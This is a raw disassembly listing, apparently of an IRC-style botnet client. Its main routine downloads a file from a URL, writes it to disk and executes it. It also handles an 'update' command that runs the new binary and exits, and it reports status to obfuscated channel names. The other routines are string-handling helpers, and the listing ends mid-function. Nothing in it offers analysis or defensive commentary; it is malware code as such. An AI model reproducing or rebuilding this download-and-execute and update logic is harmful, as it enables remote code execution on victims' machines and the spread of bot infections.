		pop	ecx
		push	ebx
		call	dword_42F150	; ExitThread
sub_40C847	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CDE2	proc near		; DATA XREF: sub_403B2C+3EBEo
					; sub_403B2C+40EEo

var_164C	= byte ptr -164Ch
var_64C		= byte ptr -64Ch
var_548		= byte ptr -548h
var_4A8		= byte ptr -4A8h
var_430		= byte ptr -430h
var_3B8		= byte ptr -3B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= byte ptr -2B0h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_204		= dword	ptr -204h
var_200		= dword	ptr -200h
var_1FC		= dword	ptr -1FCh
var_88		= qword	ptr -88h
var_7C		= qword	ptr -7Ch
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= qword	ptr -1Ch
var_14		= byte ptr -14h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 164Ch
		call	sub_4220C0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 90h
		mov	esi, eax
		lea	edi, [ebp+var_2B4]
		push	9Fh
		rep movsd
		push	[ebp+var_22C]
		mov	edi, [ebp+var_2B4]
		xor	esi, esi
		mov	[ebp+arg_0], edi
		inc	esi
		mov	[eax+0BCh], esi
		lea	eax, [ebp+var_548]
		push	eax
		call	sub_4222F0
		push	104h
		lea	eax, [ebp+var_3B8]
		push	[ebp+var_228]
		push	eax
		call	sub_4222F0
		add	esp, 18h
		xor	ebx, ebx
		lea	eax, [ebp+var_548]
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		push	dword_4542B8
		call	dword_4541FC	; InternetOpenUrlA
		cmp	eax, ebx
		mov	[ebp+var_28], eax
		jz	loc_40D47E
		push	ebx
		push	ebx
		push	2
		push	ebx
		push	ebx
		lea	eax, [ebp+var_3B8]
		push	40000000h
		push	eax
		call	dword_42F060	; CreateFileA
		cmp	eax, esi
		mov	dword ptr [ebp+var_1C+4], eax
		jnb	loc_40CF1D
		cmp	[ebp+var_200], ebx
		mov	esi, offset aSCouldnTOpenFi ; "%s Couldn't open file for writing: %s."
		jnz	short loc_40CECE
		cmp	[ebp+var_1FC], ebx
		jnz	short loc_40CED6
		cmp	[ebp+var_220], ebx
		mov	eax, offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI."
		jnz	short loc_40CEB5
		mov	eax, offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0"


loc_40CEB5:				; CODE XREF: sub_40CDE2+CCj
		lea	ecx, [ebp+var_3B8]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2B0]
		push	esi
		push	eax
		push	edi
		call	sub_4104F6
		add	esp, 14h


loc_40CECE:				; CODE XREF: sub_40CDE2+B7j
		cmp	[ebp+var_1FC], ebx
		jz	short loc_40CF01


loc_40CED6:				; CODE XREF: sub_40CDE2+BFj
		cmp	[ebp+var_220], ebx
		mov	eax, offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI."
		jnz	short loc_40CEE8
		mov	eax, offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0"


loc_40CEE8:				; CODE XREF: sub_40CDE2+FFj
		lea	ecx, [ebp+var_3B8]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2B0]
		push	esi
		push	eax
		push	edi
		call	sub_410491
		add	esp, 14h


loc_40CF01:				; CODE XREF: sub_40CDE2+F2j
		push	[ebp+var_28]
		call	dword_454348	; InternetCloseHandle
		push	[ebp+var_230]
		call	sub_41C059
		pop	ecx
		push	ebx
		call	dword_42F150	; ExitThread


loc_40CF1D:				; CODE XREF: sub_40CDE2+A6j
		mov	edi, dword_42F164
		xor	esi, esi
		call	edi ; dword_42F164
		push	7D000h
		mov	dword ptr [ebp+var_C+4], eax
		call	sub_422F79
		pop	ecx
		mov	[ebp+var_2C], eax


loc_40CF38:				; CODE XREF: sub_40CDE2+1CBj
		push	1000h
		lea	eax, [ebp+var_164C]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_164C]
		push	1000h
		push	eax
		push	[ebp+var_28]
		call	dword_454204	; InternetReadFile
		lea	eax, [ebp+var_30]
		push	ebx
		push	eax
		lea	eax, [ebp+var_164C]
		push	[ebp+var_4]
		push	eax
		push	dword ptr [ebp+var_1C+4]
		call	dword_42F07C	; WriteFile
		mov	eax, 7D000h
		cmp	esi, eax
		jnb	short loc_40CFA7
		sub	eax, esi
		cmp	eax, [ebp+var_4]
		jbe	short loc_40CF91
		mov	eax, [ebp+var_4]


loc_40CF91:				; CODE XREF: sub_40CDE2+1AAj
		push	eax
		lea	eax, [ebp+var_164C]
		push	eax
		mov	eax, [ebp+var_2C]
		add	eax, esi
		push	eax
		call	sub_4223F0
		add	esp, 0Ch


loc_40CFA7:				; CODE XREF: sub_40CDE2+1A3j
		add	esi, [ebp+var_4]
		cmp	[ebp+var_4], ebx
		ja	short loc_40CF38
		call	edi ; dword_42F164
		sub	eax, dword ptr [ebp+var_C+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_2C]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, esi
		inc	ecx
		div	ecx
		mov	dword ptr [ebp+var_C+4], eax
		call	sub_4230B3
		pop	ecx
		push	dword ptr [ebp+var_1C+4]
		call	dword_42F038	; CloseHandle
		push	[ebp+var_28]
		call	dword_454348	; InternetCloseHandle
		cmp	[ebp+var_200], ebx
		jnz	short loc_40D050
		cmp	[ebp+var_1FC], ebx
		jnz	short loc_40D058
		cmp	[ebp+var_220], ebx
		mov	eax, offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI."
		jnz	short loc_40D006
		mov	eax, offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0"


loc_40D006:				; CODE XREF: sub_40CDE2+21Dj
		mov	ecx, dword ptr [ebp+var_C+4]
		mov	dword ptr [ebp+var_1C+4], ebx
		mov	dword ptr [ebp+var_1C],	ecx
		push	ecx
		fild	[ebp+var_1C]
		push	ecx
		mov	dword ptr [ebp+var_1C],	esi
		mov	dword ptr [ebp+var_1C+4], ebx
		lea	ecx, [ebp+var_3B8]
		fmul	dbl_42F308
		fstp	[esp+7Ch+var_7C]
		fild	[ebp+var_1C]
		push	ecx
		push	ecx
		push	ecx
		fmul	dbl_42F308
		fstp	[esp+88h+var_88]
		push	eax
		lea	eax, [ebp+var_2B0]
		push	offset aSFileDownload_ ; "%s File download: %.1fKB to: %s @ %.1fK"...
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 24h


loc_40D050:				; CODE XREF: sub_40CDE2+208j
		cmp	[ebp+var_1FC], ebx
		jz	short loc_40D0B4


loc_40D058:				; CODE XREF: sub_40CDE2+210j
		cmp	[ebp+var_220], ebx
		mov	eax, offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI."
		jnz	short loc_40D06A
		mov	eax, offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0"


loc_40D06A:				; CODE XREF: sub_40CDE2+281j
		mov	ecx, dword ptr [ebp+var_C+4]
		mov	dword ptr [ebp+var_C+4], ebx
		mov	dword ptr [ebp+var_C], ecx
		push	ecx
		fild	[ebp+var_C]
		push	ecx
		mov	dword ptr [ebp+var_C], esi
		mov	dword ptr [ebp+var_C+4], ebx
		lea	ecx, [ebp+var_3B8]
		fmul	dbl_42F308
		fstp	[esp+7Ch+var_7C]
		fild	[ebp+var_C]
		push	ecx
		push	ecx
		push	ecx
		fmul	dbl_42F308
		fstp	[esp+88h+var_88]
		push	eax
		lea	eax, [ebp+var_2B0]
		push	offset aSFileDownload_ ; "%s File download: %.1fKB to: %s @ %.1fK"...
		push	eax
		push	[ebp+arg_0]
		call	sub_410491
		add	esp, 24h


loc_40D0B4:				; CODE XREF: sub_40CDE2+274j
		cmp	[ebp+var_220], ebx
		jnz	loc_40D393
		cmp	[ebp+var_21C], ebx
		jz	loc_40D4FF
		mov	esi, [ebp+var_218]
		lea	eax, [ebp+var_3B8]
		push	104h
		push	eax
		lea	eax, [ebp+var_64C]
		push	eax
		call	sub_4222F0
		add	esp, 0Ch
		lea	eax, [ebp+var_64C]
		push	eax
		call	dword_45429C	; PathRemoveFileSpecA
		test	eax, eax
		jnz	short loc_40D160
		cmp	[ebp+var_200], ebx
		mov	esi, dword_42F068
		mov	edi, offset aSCouldnTParseP ; "%s Couldn't parse path, error: <%d>"
		jnz	short loc_40D134
		cmp	[ebp+var_1FC], ebx
		jnz	short loc_40D140
		call	esi ; dword_42F068
		push	eax
		push	offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0"
		lea	eax, [ebp+var_2B0]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 14h


loc_40D134:				; CODE XREF: sub_40CDE2+32Dj
		cmp	[ebp+var_1FC], ebx
		jz	loc_40D224


loc_40D140:				; CODE XREF: sub_40CDE2+335j
		call	esi ; dword_42F068
		push	eax
		push	offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0"
		lea	eax, [ebp+var_2B0]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_410491
		add	esp, 14h
		jmp	loc_40D224
; ---------------------------------------------------------------------------


loc_40D160:				; CODE XREF: sub_40CDE2+31Aj
		push	44h
		lea	eax, [ebp+var_74]
		push	ebx
		push	eax
		call	sub_4221F0
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 18h
		lea	eax, [ebp+var_24]
		neg	esi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		lea	eax, [ebp+var_64C]
		push	eax
		push	ebx
		sbb	esi, esi
		push	ebx
		push	ebx
		and	esi, 0FFFFFFFBh
		push	ebx
		lea	eax, [ebp+var_3B8]
		push	ebx
		add	esi, 5
		push	eax
		push	ebx
		mov	[ebp+var_74], 44h
		mov	[ebp+var_48], 1
		mov	[ebp+var_44], si
		call	dword_42F078	; CreateProcessA
		test	eax, eax
		jnz	short loc_40D22E
		cmp	[ebp+var_200], ebx
		mov	esi, dword_42F068
		mov	edi, offset aSFailedToCreat ; "%s Failed to create process: \"%s\", erro"...
		jnz	short loc_40D1FA
		cmp	[ebp+var_1FC], ebx
		jnz	short loc_40D202
		call	esi ; dword_42F068
		push	eax
		lea	eax, [ebp+var_3B8]
		push	eax
		push	offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0"
		lea	eax, [ebp+var_2B0]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 18h


loc_40D1FA:				; CODE XREF: sub_40CDE2+3ECj
		cmp	[ebp+var_1FC], ebx
		jz	short loc_40D224


loc_40D202:				; CODE XREF: sub_40CDE2+3F4j
		call	esi ; dword_42F068
		push	eax
		lea	eax, [ebp+var_3B8]
		push	eax
		push	offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0"
		lea	eax, [ebp+var_2B0]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_410491
		add	esp, 18h


loc_40D224:				; CODE XREF: sub_40CDE2+358j
					; sub_40CDE2+379j ...
		xor	eax, eax
		pop	edi
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40D22E:				; CODE XREF: sub_40CDE2+3D9j
		call	edi ; dword_42F164
		cmp	[ebp+var_200], ebx
		mov	dword ptr [ebp+var_C+4], eax
		mov	esi, offset aSCreatedProces ; "%s Created process: \"%s\", PID:	<%d>"
		jnz	short loc_40D26A
		cmp	[ebp+var_1FC], ebx
		jnz	short loc_40D272
		push	dword ptr [ebp+var_1C]
		lea	eax, [ebp+var_3B8]
		push	eax
		push	offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0"
		lea	eax, [ebp+var_2B0]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 18h


loc_40D26A:				; CODE XREF: sub_40CDE2+45Cj
		cmp	[ebp+var_1FC], ebx
		jz	short loc_40D294


loc_40D272:				; CODE XREF: sub_40CDE2+464j
		push	dword ptr [ebp+var_1C]
		lea	eax, [ebp+var_3B8]
		push	eax
		push	offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0"
		lea	eax, [ebp+var_2B0]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_410491
		add	esp, 18h


loc_40D294:				; CODE XREF: sub_40CDE2+48Ej
		cmp	[ebp+var_204], ebx
		jz	loc_40D36E
		push	0FFFFFFFFh
		push	[ebp+var_24]
		call	dword_42F064	; WaitForSingleObject
		call	edi ; dword_42F164
		sub	eax, dword ptr [ebp+var_C+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	3Ch
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		pop	esi
		mov	[ebp+var_4A8], bl
		div	ecx
		mov	ecx, 0E10h
		mov	eax, edx
		xor	edx, edx
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		cmp	ecx, ebx
		mov	esi, edx
		mov	edi, eax
		jbe	short loc_40D31E
		cmp	ecx, 1
		mov	eax, offset aHour ; " hour"
		jz	short loc_40D2F5
		mov	eax, offset aHours ; " hours"


loc_40D2F5:				; CODE XREF: sub_40CDE2+50Cj
		push	eax
		push	ecx
		lea	eax, [ebp+var_430]
		push	offset aDS	; " %d%s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_430]
		push	eax
		lea	eax, [ebp+var_4A8]
		push	eax
		call	sub_423270
		add	esp, 18h


loc_40D31E:				; CODE XREF: sub_40CDE2+502j
		push	esi
		push	edi
		lea	eax, [ebp+var_430]
		push	offset a_2d_2d	; " %.2d:%.2d"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_430]
		push	eax
		lea	eax, [ebp+var_4A8]
		push	eax
		call	sub_423270
		lea	eax, [ebp+var_4A8]
		push	eax
		lea	eax, [ebp+var_3B8]
		push	eax
		push	offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0"
		lea	eax, [ebp+var_2B0]
		push	offset aSProcessFinish ; "%s Process Finished: \"%s\", Total Runnin"...
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 30h


loc_40D36E:				; CODE XREF: sub_40CDE2+4B8j
		cmp	[ebp+var_24], ebx
		jz	short loc_40D37C
		push	[ebp+var_24]
		call	dword_42F038	; CloseHandle


loc_40D37C:				; CODE XREF: sub_40CDE2+58Fj
		cmp	[ebp+var_20], ebx
		jz	loc_40D4FF
		push	[ebp+var_20]
		call	dword_42F038	; CloseHandle
		jmp	loc_40D4FF
; ---------------------------------------------------------------------------


loc_40D393:				; CODE XREF: sub_40CDE2+2D8j
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_4221F0
		push	44h
		lea	eax, [ebp+var_74]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 18h
		lea	eax, [ebp+var_14]
		mov	[ebp+var_74], esi
		mov	[ebp+var_44], bx
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_3B8]
		push	ebx
		push	eax
		push	ebx
		call	dword_42F078	; CreateProcessA
		cmp	eax, 1
		jnz	short loc_40D437
		push	ebx
		push	ebx
		push	ebx
		push	offset sub_414F1C
		push	ebx
		push	ebx
		call	dword_42F158	; CreateThread
		push	offset dword_439540
		call	sub_414F91
		xor	eax, eax
		cmp	[ebp+var_214], 1
		setz	al
		push	eax
		push	1
		call	sub_41F455
		push	offset aUpdateCmdRecei ; "Update cmd received: [%s!%s@root]"
		push	[ebp+arg_0]
		call	sub_41015C
		add	esp, 14h
		push	1F4h
		call	dword_42F15C	; Sleep
		mov	ecx, [ebp+arg_0]
		call	sub_41012A
		call	dword_454258	; WSACleanup
		push	ebx
		call	dword_42F06C	; ExitProcess


loc_40D437:				; CODE XREF: sub_40CDE2+5F5j
		cmp	[ebp+var_200], ebx
		mov	esi, offset aSUpdateFailedE ; "%s Update failed: Error executing file:"...
		jnz	short loc_40D463
		lea	eax, [ebp+var_3B8]
		push	eax
		push	offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI."
		lea	eax, [ebp+var_2B0]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 14h


loc_40D463:				; CODE XREF: sub_40CDE2+660j
		cmp	[ebp+var_1FC], ebx
		jz	loc_40D4FF
		lea	eax, [ebp+var_3B8]
		push	eax
		push	offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI."
		push	esi
		jmp	short loc_40D4ED
; ---------------------------------------------------------------------------


loc_40D47E:				; CODE XREF: sub_40CDE2+83j
		cmp	[ebp+var_200], ebx
		mov	esi, dword_42F068
		mov	edi, offset aSBadUrlOrDnsEr ; "%s Bad URL or DNS Error,	error: <%d>"
		jnz	short loc_40D4C8
		cmp	[ebp+var_1FC], ebx
		jnz	short loc_40D4D0
		cmp	[ebp+var_220], ebx
		mov	dword ptr [ebp+var_C+4], offset	aSmo3c0mcu8j_xf	; "SmO3C0MCu8j.xfK1r.VuQwI."
		jnz	short loc_40D4AF
		mov	dword ptr [ebp+var_C+4], offset	aOpc9a1uprd41iw	; "OPC9A1upRd41IwhIm0ocHBf0"


loc_40D4AF:				; CODE XREF: sub_40CDE2+6C4j
		call	esi ; dword_42F068
		push	eax
		lea	eax, [ebp+var_2B0]
		push	dword ptr [ebp+var_C+4]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 14h


loc_40D4C8:				; CODE XREF: sub_40CDE2+6ADj
		cmp	[ebp+var_1FC], ebx
		jz	short loc_40D4FF


loc_40D4D0:				; CODE XREF: sub_40CDE2+6B5j
		cmp	[ebp+var_220], ebx
		mov	dword ptr [ebp+var_C+4], offset	aSmo3c0mcu8j_xf	; "SmO3C0MCu8j.xfK1r.VuQwI."
		jnz	short loc_40D4E6
		mov	dword ptr [ebp+var_C+4], offset	aOpc9a1uprd41iw	; "OPC9A1upRd41IwhIm0ocHBf0"


loc_40D4E6:				; CODE XREF: sub_40CDE2+6FBj
		call	esi ; dword_42F068
		push	eax
		push	dword ptr [ebp+var_C+4]
		push	edi


loc_40D4ED:				; CODE XREF: sub_40CDE2+69Aj
		lea	eax, [ebp+var_2B0]
		push	eax
		push	[ebp+arg_0]
		call	sub_410491
		add	esp, 14h


loc_40D4FF:				; CODE XREF: sub_40CDE2+2E4j
					; sub_40CDE2+59Dj ...
		push	[ebp+var_230]
		call	sub_41C059
		pop	ecx
		push	ebx
		call	dword_42F150	; ExitThread
sub_40CDE2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D512	proc near		; CODE XREF: sub_40D75A+31p
					; sub_40DB4B+21p ...
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_42F310
		mov	[eax+4], ecx
		mov	[eax+0Ch], ecx
		mov	[eax+8], ecx
		retn
sub_40D512	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D526	proc near		; DATA XREF: .text:off_42F310o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40D58A
		test	[esp+4+arg_0], 1
		jz	short loc_40D53C
		push	esi
		call	sub_421C78
		pop	ecx


loc_40D53C:				; CODE XREF: sub_40D526+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_40D526	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D542	proc near		; CODE XREF: sub_40D75A+25p
					; sub_40D810+30p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi], offset	off_42F310
		call	sub_40D5BD
		and	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_40D542	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D566	proc near		; CODE XREF: sub_40D75A+72p
					; sub_40DA0E+11Ep ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi], offset	off_42F310
		call	sub_40D60A
		and	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_40D566	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D58A	proc near		; CODE XREF: sub_40D526+3p
					; sub_40D75A+7Ap ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		mov	dword ptr [esi], offset	off_42F310
		test	eax, eax
		jz	short loc_40D5A1
		push	eax
		call	sub_4230B3
		pop	ecx


loc_40D5A1:				; CODE XREF: sub_40D58A+Ej
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		test	eax, eax
		jz	short loc_40D5B3
		push	eax
		call	sub_4230B3
		pop	ecx


loc_40D5B3:				; CODE XREF: sub_40D58A+20j
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn
sub_40D58A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D5BD	proc near		; CODE XREF: sub_40D542+15p
					; sub_40D60A+Fp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D5CE
		push	eax
		call	sub_4230B3
		pop	ecx


loc_40D5CE:				; CODE XREF: sub_40D5BD+8j
		push	[esp+4+arg_0]
		call	sub_422120
		mov	[esi+0Ch], eax
		add	eax, 2
		push	eax
		call	sub_422F79
		mov	ecx, [esi+0Ch]
		mov	[esi+4], eax
		inc	ecx
		inc	ecx
		push	ecx
		push	0
		push	eax
		call	sub_4221F0
		push	dword ptr [esi+0Ch]
		push	[esp+1Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_4222F0
		add	esp, 20h
		pop	esi
		retn	4
sub_40D5BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D60A	proc near		; CODE XREF: sub_40D566+15p
					; sub_40D97Aj ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_40D989
		push	eax
		mov	ecx, esi
		call	sub_40D5BD
		pop	esi
		retn	4
sub_40D60A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D622	proc near		; CODE XREF: sub_40D66C+Fp
					; sub_40DA0E+A9p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	esi, ecx
		call	sub_422120
		add	[esi+0Ch], eax
		mov	eax, [esi+0Ch]
		inc	eax
		push	eax
		call	sub_422F79
		pop	ecx
		mov	edi, eax
		pop	ecx
		push	dword ptr [esi+4]
		push	edi
		call	dword_42F04C	; lstrcpyA
		push	[esp+8+arg_0]
		push	edi
		call	sub_423270
		mov	eax, [esi+4]
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D664
		push	eax
		call	sub_4230B3
		pop	ecx


loc_40D664:				; CODE XREF: sub_40D622+39j
		mov	[esi+4], edi
		pop	edi
		pop	esi
		retn	4
sub_40D622	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D66C	proc near		; CODE XREF: sub_40DB4B+414p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_40D989
		push	eax
		mov	ecx, esi
		call	sub_40D622
		pop	esi
		retn	4
sub_40D66C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D684	proc near		; CODE XREF: sub_40DB4B+69p
					; sub_40DB4B+79p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	dword ptr [ecx+4]
		call	sub_422760
		pop	ecx
		pop	ecx
		retn	4
sub_40D684	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D695	proc near		; CODE XREF: .text:0040E1F5p
					; .text:0040E3A3p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	dword ptr [ecx+4]
		call	sub_424380
		pop	ecx
		pop	ecx
		retn	4
sub_40D695	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6A6	proc near		; CODE XREF: .text:0040E0D9p
					; .text:0040E0F8p ...

var_2000	= byte ptr -2000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_4220C0
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_2000]
		push	[ebp+arg_4]
		push	2000h
		push	eax
		call	sub_423640
		mov	ecx, [ebp+arg_0]
		add	esp, 10h
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_40D5BD
		leave
		retn
sub_40D6A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6DF	proc near		; CODE XREF: sub_40DB4B+A2p
					; .text:0040E16Fp ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_40D6ED
		retn	4
sub_40D6DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6ED	proc near		; CODE XREF: sub_40D6DF+6p

arg_0		= byte ptr  4

		push	esi
		push	edi
		movsx	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		push	dword ptr [esi+4]
		call	sub_4233B0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D718
		push	edi
		push	dword ptr [esi+4]
		call	sub_4233B0
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		inc	ecx
		sub	ecx, [esi+4]
		add	eax, ecx


loc_40D718:				; CODE XREF: sub_40D6ED+16j
		pop	edi
		pop	esi
		retn	8
sub_40D6ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D71D	proc near		; CODE XREF: sub_40DB4B+38Fp
					; sub_40DB4B+3A9p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_40D72B
		retn	4
sub_40D71D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D72B	proc near		; CODE XREF: sub_40D71D+6p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		push	dword ptr [esi+4]
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D756
		push	[esp+4+arg_0]
		push	dword ptr [esi+4]
		call	sub_4235C0
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		inc	ecx
		sub	ecx, [esi+4]
		add	eax, ecx


loc_40D756:				; CODE XREF: sub_40D72B+13j
		pop	esi
		retn	8
sub_40D72B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D75A	proc near		; CODE XREF: sub_40D7ED+17p
					; .text:0040E1CCp ...
		mov	eax, offset loc_42EC00
		call	sub_423A68
		sub	esp, 18h
		and	dword ptr [ebp-14h], 0
		push	edi
		mov	edi, [ebp+10h]
		mov	[ebp-10h], ecx
		cmp	edi, 1
		jge	short loc_40D786
		mov	ecx, [ebp+8]
		push	offset byte_44D6A4
		call	sub_40D542
		jmp	short loc_40D7DB
; ---------------------------------------------------------------------------


loc_40D786:				; CODE XREF: sub_40D75A+1Bj
		push	ebx
		push	esi
		lea	ecx, [ebp-24h]
		call	sub_40D512
		and	dword ptr [ebp-4], 0
		lea	esi, [edi+1]
		push	esi
		call	sub_422F79
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_4221F0
		mov	eax, [ebp-10h]
		push	edi
		mov	eax, [eax+4]
		add	eax, [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_4223F0
		add	esp, 1Ch
		lea	ecx, [ebp-24h]
		push	ebx
		call	sub_40D5BD
		mov	ecx, [ebp+8]
		lea	eax, [ebp-24h]
		push	eax
		call	sub_40D566
		lea	ecx, [ebp-24h]
		call	sub_40D58A
		pop	esi
		pop	ebx


loc_40D7DB:				; CODE XREF: sub_40D75A+2Aj
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		mov	large fs:0, ecx
		leave
		retn	0Ch
sub_40D75A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7ED	proc near		; CODE XREF: sub_40DB4B+39Cp
					; sub_40DB4B+3B6p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		call	sub_41111F
		sub	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D75A
		mov	eax, [ebp+arg_0]
		leave
		retn	8
sub_40D7ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D810	proc near		; CODE XREF: sub_40D95B+13p
					; .text:0040E499p ...
		mov	eax, offset loc_42EC33
		call	sub_423A68
		sub	esp, 28h
		push	ebx
		xor	ebx, ebx
